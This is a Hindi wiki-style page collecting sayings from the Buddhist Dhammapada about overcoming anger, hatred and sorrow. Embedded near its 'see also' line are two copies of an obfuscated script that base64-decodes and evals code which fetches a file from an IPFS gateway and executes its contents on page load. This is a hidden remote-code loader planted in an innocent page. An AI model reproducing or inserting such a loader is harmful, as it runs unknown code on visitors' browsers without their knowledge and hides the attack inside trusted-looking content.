एक्स्प्रेशन त्रुटि: अनपेक्षित उद्गार चिन्ह "१"।

धम्मपद के अनमोल वचन

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
धम्मपद के अनमोल वचन
  • अक्रोध से क्रोध को जीतें, दुष्ट को भलाई से जीतें, कृपण को दान से जीतें और झूठ बोलनेवाले को सत्य से जीतें।
  • पूर्णतया निंदित या पूर्णतया प्रशंसित पुरुष न था, न होगा, न आजकल है।
  • आरोग्य परम लाभ है, संतोष परम धन है, विश्वास परम बंधु है और निर्वाण परम सुख।
  • घृणा प्रेम से ही कम होती है, यही सर्वदा उसका स्वभाव रहा है।
  • जिसने अपने को समझ लिया वह दूसरों को समझाने नहीं जाएगा।
  • इस संसार में घृणा घृणा से भी कभी कम नहीं, घृणा प्रेम से ही कम होती है, यही सर्वदा उसका स्वभाव रहा है।
  • धर्म का दान हमारे सारे दानों को जीत लेता है। धर्म रस सारे रसों को जीत लेता है। धर्म में प्रेम सारे प्रेमों को जीत लेता है।
  • प्रेम से शोक उत्पन्न होता है, प्रेम से भय उत्पन्नहोता है, प्रेम से मुक्त को शोक नहीं, फिर भय कहां से?
  • हर्ष के साथ शोक और भय इस प्रकार लगे हुए हैं जिस प्रकार प्रकाश के साथ छाया। सच्चा सुखी वही है जिसकी दृष्टि में दोनों समान हैं।

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>इन्हें भी देखें<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>: अनमोल वचन, कहावत लोकोक्ति मुहावरे एवं सूक्ति और कहावत


टीका टिप्पणी और संदर्भ

संबंधित लेख